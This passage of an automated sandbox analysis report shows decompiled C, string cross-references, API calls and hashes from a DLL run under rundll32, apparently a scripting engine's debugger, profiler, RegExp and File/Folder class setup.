							_t97 =  *((intOrPtr*)(_t96 + _v24 * 2));
							_v8 = _t97;
							_t98 = _v12;
							_t99 =  *((intOrPtr*)(_t98 + 0x18));
							_t122 = _v28;
							_t100 = _t99 +  *((intOrPtr*)(_t122 + 0x1c));
							asm("sbb al, 0xf");
							asm("cld");
							_t128 =  *((intOrPtr*)(_v12 + 0x18));
							_t83 = _t128 +  *((intOrPtr*)(_t100 + _t122 * 4));
							goto L37;
						}
						_t102 = _v20 >> 0xd;
						_t124 = _v20 << 0x13;
						_t103 = _t102 | _t124;
						_t125 = _v16;
						_t104 = _t103 + ( *_t125 & 0x000000ff);
						_v20 = _t104;
						_t105 = _v16;
						_v16 = _t105 + 1;
						_t89 = _v16;
						goto L42;
					}
				}
			}

0x10037aa7
0x10037a80
0x10037a83
0x10037ab7
0x10037aba
0x10037aa0
0x10037a8e
0x10037a91
0x10037aaf
0x10037ab2
0x10037a99
0x10037a76
0x10037a8b
0x10037aec
0x10037aed
0x10037b1c
0x10037b02
0x10037b05
0x10037af5
0x10037afa
0x10037afd
0x10037b11
0x10037b14
0x10037b37
0x10037b27
0x10037a1e
0x10037a1e
0x10037a1e
0x10037adc
0x10037ac4
0x10037ac6
0x00000000
0x10037ac6
0x10037b0d
0x10037b3f
0x100379c9
0x100379cc
0x10037a09
0x100379e0
0x10037a69
0x10037a6c
0x10037a6c
0x10037ae0
0x10037ae5
0x10037acf
0x10037a18
0x10037a1b
0x00000000
0x10037a1b
0x100379db
0x10037a4a
0x10037a5b
0x10037a35
0x10037a39
0x10037a4f
0x10037a52
0x10037a3e
0x10037a40
0x10037a44
0x10037a64
0x10037a29
0x00000000
0x10037a29
0x100379c4
0x100379ed
0x100379f2
0x100379f4
0x100379d4
0x10037a0d
0x10037a10
0x100379fa
0x10037a6c
0x00000000
0x10037a6f
0x10037a6c

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd5d4a196591b0cdcf81eb82632fe27049270d87f60bbb173da13c807de43c7
Instruction ID: bc992d828bcadf9119546c462a3af5da3d68547530a531ad507b8ebe7e66f691
Opcode Fuzzy Hash: cbd5d4a196591b0cdcf81eb82632fe27049270d87f60bbb173da13c807de43c7
Instruction Fuzzy Hash: B321C674A08909DFCB7ACF48C490A9DBBF0FB88316F200095D909AF711D330AE41EB52

Uniqueness

Uniqueness Score: -1.00%

Function 100298B0 Relevance: 45.8, APIs: 2, Strings: 24, Instructions: 339
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(00000000,00000001), ref: 10029A51

Part of subcall function 10027930: lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(000000FF,100296F9), ref: 10027974

Strings

eval, xrefs: 10029979
break, xrefs: 10029B82
get-properties, xrefs: 1002992B
get-dictionaries, xrefs: 10029A5B
stepout, xrefs: 10029C12
breakpoints, xrefs: 100299B7
continue, xrefs: 10029B5E
stepinto, xrefs: 10029BCA
get-profiling, xrefs: 100299D8
get-dictionary, xrefs: 10029A7B
get-map, xrefs: 10029AA3
halt, xrefs: 10029BA6
set-frame, xrefs: 10029B3B
get-break, xrefs: 10029AF3
stepover, xrefs: 10029BEE
print, xrefs: 10029C36
tofront, xrefs: 10029C56
get-frame, xrefs: 10029B19
get-breakpoints, xrefs: 1002999C
clear-profiling, xrefs: 10029A39
get-info, xrefs: 10029915
@engine, xrefs: 10029C8A
@erase, xrefs: 100299EA
get-package, xrefs: 10029ACB

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Data@Profiler$Array@Core@@_DebugScript@@Script@@@Simplelget
String ID: @engine$@erase$break$breakpoints$clear-profiling$continue$eval$get-break$get-breakpoints$get-dictionaries$get-dictionary$get-frame$get-info$get-map$get-package$get-profiling$get-properties$halt$print$set-frame$stepinto$stepout$stepover$tofront
API String ID: 81518491-1149367273
Opcode ID: cac4382c613e2415e5907f5f46bb261220ae68ebec3c834dda13288e127c20ab
Instruction ID: 88a2494ac9e5e924c2684964eed7a0596d00a45f5877b28c5bafb76748d2c35a
Opcode Fuzzy Hash: cac4382c613e2415e5907f5f46bb261220ae68ebec3c834dda13288e127c20ab
Instruction Fuzzy Hash: D7C14774A04210ABDB10EF15ED95BBEB76FEF11784F80401CF80A57281DB746A8ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 10028FE0 Relevance: 28.3, APIs: 4, Strings: 12, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(10062C3C,00000005,?,?), ref: 10029123
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,10062C3C), ref: 1002927D
lsetContextLevel@DebugAPI@ScScript@@QAEXH@Z.MAIN(?), ref: 10029328
lsetContextLevel@DebugAPI@ScScript@@QAEXH@Z.MAIN(?,?,?,?,?,?,?,?,?,?,?,?,10062C3C,000000FF,?,10029B56), ref: 1002934C

Strings

@name, xrefs: 1002925D
script, xrefs: 100291DB
@frame, xrefs: 1002900A
param, xrefs: 100292D0
@type, xrefs: 100291A8, 100291E9
I, xrefs: 10029256
compiled, xrefs: 1002919E
@line, xrefs: 10029162
frame, xrefs: 100290A5
@file, xrefs: 100290FF
source, xrefs: 10029381
%ld, xrefs: 10029153

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$ContextCore@@DataDebugLevel@Pool@String@Symbol@lgetlset
String ID: %ld$@file$@frame$@line$@name$@type$I$compiled$frame$param$script$source
API String ID: 4199107749-876456748
Opcode ID: 76c93147264a0c84b55465270f174264333e3522d1653c61c2d5a7fa49aab668
Instruction ID: 88ca00a493e9431560d2a00d0b0374690336c6360849b174226bc6287be4f4ff
Opcode Fuzzy Hash: 76c93147264a0c84b55465270f174264333e3522d1653c61c2d5a7fa49aab668
Instruction Fuzzy Hash: 05D1AB75900259EFDB04DFE8CC94AEEBBB5FF59310F104159E90AA3290DB74AA48CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10028510 Relevance: 24.9, APIs: 5, Strings: 9, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 1002870D
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10028738
lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(00000000,00000001), ref: 1002879D
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 100287C6
lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(?), ref: 100287D2

Part of subcall function 10026BA0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10026C29

Strings

@reset, xrefs: 100286BE
evalresult, xrefs: 1002884F
@flags, xrefs: 10028656
@timeout, xrefs: 10028602
breakpoints, xrefs: 1002873D
@profiling, xrefs: 10028680
@file, xrefs: 10028568
source, xrefs: 10028596
@debug, xrefs: 1002862C

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Engine@Level@lset$Debug$Data@ProfilerProfilinglget$Array@Core@@Core@@_DataPool@Script@@@SimpleString@Symbol@
String ID: @debug$@file$@flags$@profiling$@reset$@timeout$breakpoints$evalresult$source
API String ID: 1546722537-483504609
Opcode ID: c6caf07ed0edbfce8820a975e54f8731e7237633e6ecf2c61e4c8617f2858f3e
Instruction ID: aca06d528868b5552edb4fe929921dbe89fa1a529696def3901a6ac24f2fd46f
Opcode Fuzzy Hash: c6caf07ed0edbfce8820a975e54f8731e7237633e6ecf2c61e4c8617f2858f3e
Instruction Fuzzy Hash: 96F1AB75A00249DFDB04DFA8CC84BEDBBB5FF49300F108158E916A7291DB78AA45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10027930 Relevance: 23.1, APIs: 3, Strings: 10, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lgetProfilerData@DebugAPI@ScScript@@QAEXPAV?$TSimpleArray@VProfilerData@ScScript@@@ScCore@@_N@Z.MAIN(000000FF,100296F9), ref: 10027974
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10027AC7
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10027B9D

Strings

@name, xrefs: 10027AAB, 10027B81
@hits, xrefs: 10027CD0
%.0lf, xrefs: 10027C80
file, xrefs: 10027A46
profiling, xrefs: 100279AD
data, xrefs: 10027BE3
@time, xrefs: 10027C8F
%lu, xrefs: 10027C2D, 10027CC1
@line, xrefs: 10027C3C
function, xrefs: 10027B1C

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Core@@DataData@Pool@ProfilerString@Symbol@$Array@Core@@_DebugScript@@@Simple
String ID: %.0lf$%lu$@hits$@line$@name$@time$data$file$function$profiling
API String ID: 2123497740-632933454
Opcode ID: 2842a9403e3c557d1ea235aca04ce729fb6ac161bd2e6440ad1dbbc1b78e8476
Instruction ID: e48eca76656ea69d0f4f4596b2be97dc3dea80bf3d6d1b2a77d744bb7c778745
Opcode Fuzzy Hash: 2842a9403e3c557d1ea235aca04ce729fb6ac161bd2e6440ad1dbbc1b78e8476
Instruction Fuzzy Hash: EDE15A71C00269EFDB05DBE4CD98AEDBBB5FF19310F104249E416A7290DBB46A85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10044690 Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

script, xrefs: 10044796
off, xrefs: 100447ED
show, xrefs: 10044891
engine, xrefs: 1004487B
strict, xrefs: 100447C4
targetengine, xrefs: 10044B86
include, xrefs: 1004489F
debug, xrefs: 10044817
target, xrefs: 10044B74
includepath, xrefs: 10044B3B

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: debug$engine$include$includepath$off$script$show$strict$target$targetengine
API String ID: 0-3113833744
Opcode ID: be5164d545cd8aa3be1da12ccaf61a60e6cd13e45e92cdc6277ca5062054a183
Instruction ID: c9745dffaa349b01400f0da5f79fd21f4085cf58d7cba34d11e3b87dc6b5440e
Opcode Fuzzy Hash: be5164d545cd8aa3be1da12ccaf61a60e6cd13e45e92cdc6277ca5062054a183
Instruction Fuzzy Hash: 0102BC709002599FDB15DFA4C998BEEBBF6EF06340F21416CE542A3290DF74AA48CB65

Uniqueness

Uniqueness Score: -1.00%

Function 100280E0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000001,A412DE5E,00000000,00086E1C,?), ref: 10028116
l?0BreakpointInfo@ScScript@@QAE@XZ.MAIN ref: 100283E9
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 10028408
lsetBreakpoints@DebugAPI@ScScript@@QAEXPBV?$TSimpleArray@VBreakpointInfo@ScScript@@@ScCore@@@Z.MAIN(000000FF), ref: 10028489

Strings

@hits, xrefs: 100282FC
@enabled, xrefs: 10028298, 10028322
@flags, xrefs: 10028121, 1002815F
@line, xrefs: 100282D6
true, xrefs: 100281CD, 1002842C
@file, xrefs: 1002821C
breakpoint, xrefs: 10028206
@count, xrefs: 1002825A

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$BreakpointDebugInfo@lset$Array@Breakpoints@Core@@@DataEngine@Level@Pool@Script@@@Simpleladd@
String ID: @count$@enabled$@file$@flags$@hits$@line$breakpoint$true
API String ID: 3084473664-1041117054
Opcode ID: f84b441e0b164949958fa83871b63c93d613747d9b0769b907c7392a3cc648d9
Instruction ID: 36e76b362d3c51806e2a64ea286826bde2336e4eb925d75bc3a18ceb1412daec
Opcode Fuzzy Hash: f84b441e0b164949958fa83871b63c93d613747d9b0769b907c7392a3cc648d9
Instruction Fuzzy Hash: 83E18975800259EFEB04EBE5CD98AEDBBB6FF5A310F144049E406A3290DB746B49CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10040DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E10040DD0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t16;
				intOrPtr* _t25;
				signed int _t27;

				_push(0xffffffff);
				_push(0x10065e08);
				_push( *[fs:0x0]);
				_push(_t16);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t27);
				 *[fs:0x0] =  &_v16;
				_t25 = _t16;
				_v20 = _t25;
				E10007260(_t16, "JavaScript");
				_v8 = 0;
				 *_t25 = 0x10071280;
				E10007F30(_t25, "RegExp");
				E100083E0(_t25, 0, 0x10071008);
				 *0x100941d8 = E10003DE0("lastIndex");
				 *0x100941dc = E10003DE0("index");
				 *0x100941e0 = E10003DE0("input");
				 *[fs:0x0] = _v16;
				return _t25;
			}

0x10040dd3
0x10040dd5
0x10040de0
0x10040de1
0x10040de3
0x10040dea
0x10040dee
0x10040df4
0x10040df6
0x10040dfe
0x10040e0a
0x10040e11
0x10040e17
0x10040e25
0x10040e45
0x10040e5a
0x10040e64
0x10040e6e
0x10040e7a

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10065E08,000000FF,?,10032F6B), ref: 10040DFE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(RegExp,JavaScript,A412DE5E,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E17

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10071008,JavaScript,A412DE5E,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E25

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(lastIndex,JavaScript,A412DE5E,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E35
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(index,JavaScript,A412DE5E,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E4A
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(input,JavaScript,A412DE5E,00087144,00000000,00000000,10065E08,000000FF), ref: 10040E5F

Strings

index, xrefs: 10040E40
RegExp, xrefs: 10040E03
input, xrefs: 10040E55
lastIndex, xrefs: 10040E30
JavaScript, xrefs: 10040DF9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Dispatcher@$Class@DataPool@String@ladd@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript$RegExp$index$input$lastIndex
API String ID: 3092605441-3870399148
Opcode ID: eda7c781218c3a31ae2b1584cbdef3750e7d6b17c7784ec05f10a022c8ba0fe6
Instruction ID: a758b5c2b5a9ab1a4a9f583afcc2cb4dc2b393ff19fa45c06d339c38d3f76239
Opcode Fuzzy Hash: eda7c781218c3a31ae2b1584cbdef3750e7d6b17c7784ec05f10a022c8ba0fe6
Instruction Fuzzy Hash: A601F575A04124ABE708DFD8CC51F9A7BA9F749640F00811BF519873C0DFB92500CBC8

Uniqueness

Uniqueness Score: -1.00%

Function 1001F630 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 370COMMON

Download Yara Rule

APIs

lgetCurrent@Engine@ScScript@@SAPAV12@XZ.MAIN(A412DE5E), ref: 1001F65A

Strings

XML, xrefs: 1001F9D3
prettyPrinting, xrefs: 1001F81A
ignoreWhitespace, xrefs: 1001F786
ignoreComments, xrefs: 1001F7D0
false, xrefs: 1001F8D6, 1001F8E6, 1001F8F6, 1001F906
prettyIndent, xrefs: 1001F864
ignoreProcessingInstructions, xrefs: 1001F738
true, xrefs: 1001F8CF, 1001F8DF, 1001F8EF, 1001F8FF, 1001F90F, 1001F910, 1001F911, 1001F912, 1001F947, 1001F94C, 1001F951, 1001F956
({ignoreComments:%s, ignoreProcessingInstructions:%s,ignoreWhitespace:%s,prettyPrinting:%s,prettyIndent:%d}), xrefs: 1001F916, 1001F95E

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Current@Engine@Script@@V12@lget
String ID: ({ignoreComments:%s, ignoreProcessingInstructions:%s,ignoreWhitespace:%s,prettyPrinting:%s,prettyIndent:%d})$XML$false$ignoreComments$ignoreProcessingInstructions$ignoreWhitespace$prettyIndent$prettyPrinting$true
API String ID: 2727027711-2146478630
Opcode ID: d9af9998f583d4551fa3e9bf89402e59e62f624663191a826970a9331e0a2d0c
Instruction ID: 0e8a10ec555a7b68161d696b9e6058d8dd12342361a65117c182d33a16b6e563
Opcode Fuzzy Hash: d9af9998f583d4551fa3e9bf89402e59e62f624663191a826970a9331e0a2d0c
Instruction Fuzzy Hash: 35D19E71A002599FDB04EFA5CC94BAEBBB6FF59300F14411DE9069B381DB74A985CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 10027D80 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 263COMMON

Download Yara Rule

APIs

lgetBreakpoints@DebugAPI@ScScript@@QBEXAAV?$TSimpleArray@VBreakpointInfo@ScScript@@@ScCore@@@Z.MAIN(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10027E82
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10027F28

Strings

@hits, xrefs: 10027FA8
@flags, xrefs: 10027E43
breakpoints, xrefs: 10027DC6
@line, xrefs: 10027F67
@file, xrefs: 10027F08
%ld, xrefs: 10027E2D, 10027F58, 10027F99, 10027FDA
breakpoint, xrefs: 10027EC6
@count, xrefs: 10027FE9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Array@BreakpointBreakpoints@Core@@Core@@@DataDebugInfo@Pool@Script@@@SimpleString@Symbol@
String ID: %ld$@count$@file$@flags$@hits$@line$breakpoint$breakpoints
API String ID: 3420989486-3079359326
Opcode ID: 992ba238e07dc96cd890ce1d4a98493cae861970e6695157235f682d97316b69
Instruction ID: 1073fd4820188c5ee9697112d52393e219854899cd0121927d9ea5da371ee461
Opcode Fuzzy Hash: 992ba238e07dc96cd890ce1d4a98493cae861970e6695157235f682d97316b69
Instruction Fuzzy Hash: F7B1A27190015ADFDB04EFE8CC98AEEBBB5FF19301F104159E516A3290DBB46A49CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10024110 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E10024110() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t7;
				intOrPtr* _t18;
				intOrPtr* _t28;
				signed int _t30;

				_push(0xffffffff);
				_push(0x10061e76);
				_push( *[fs:0x0]);
				_push(_t18);
				_t7 =  *0x10094144; // 0xa412de5e
				_push(_t7 ^ _t30);
				 *[fs:0x0] =  &_v16;
				_t28 = _t18;
				_v20 = _t28;
				E10007260(_t18, "JavaScript");
				_v8 = 0;
				 *_t28 = 0x1006e79c;
				 *((intOrPtr*)(_t28 + 0x14)) = 0;
				E10007F30(_t28, "File");
				E10007F30(_t28, "Folder");
				E10008420(_t28, 0, 0x1006e198, "File");
				E10008420(_t28, 0, 0x1006e530, "File");
				E10008420(_t28, 0, 0x1006e198, "Folder");
				E10008420(_t28, 0, 0x1006e3c8, "Folder");
				 *[fs:0x0] = _v16;
				return _t28;
			}

0x10024113
0x10024115
0x10024120
0x10024121
0x10024123
0x1002412a
0x1002412e
0x10024134
0x10024136
0x1002413e
0x1002414a
0x10024151
0x10024157
0x1002415e
0x1002416a
0x1002417d
0x10024190
0x100241a3
0x100241b6
0x100241c0
0x100241cc

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,?,?,?,10061E76,000000FF), ref: 1002413E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(File,JavaScript,A412DE5E,?,?,?,10061E76,000000FF), ref: 1002415E

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Folder,JavaScript,A412DE5E,?,?,?,10061E76,000000FF), ref: 1002416A
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E198,File,JavaScript,A412DE5E,?,?,?,10061E76,000000FF), ref: 1002417D

Part of subcall function 10008420: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000,?,?,1005DEEB,000000FF,?,10001542,00000000,?,?), ref: 10008464

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E530,File,00000000,1006E198,File,JavaScript,A412DE5E,?,?,?,10061E76,000000FF), ref: 10024190
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E198,Folder,00000000,1006E530,File,00000000,1006E198,File,JavaScript,A412DE5E,?,?,?,10061E76,000000FF), ref: 100241A3
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006E3C8,Folder,00000000,1006E198,Folder,00000000,1006E530,File,00000000,1006E198,File,JavaScript,A412DE5E), ref: 100241B6

Strings

Folder, xrefs: 10024163, 10024195, 100241A8
File, xrefs: 10024143, 1002416F, 10024182
JavaScript, xrefs: 10024139

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
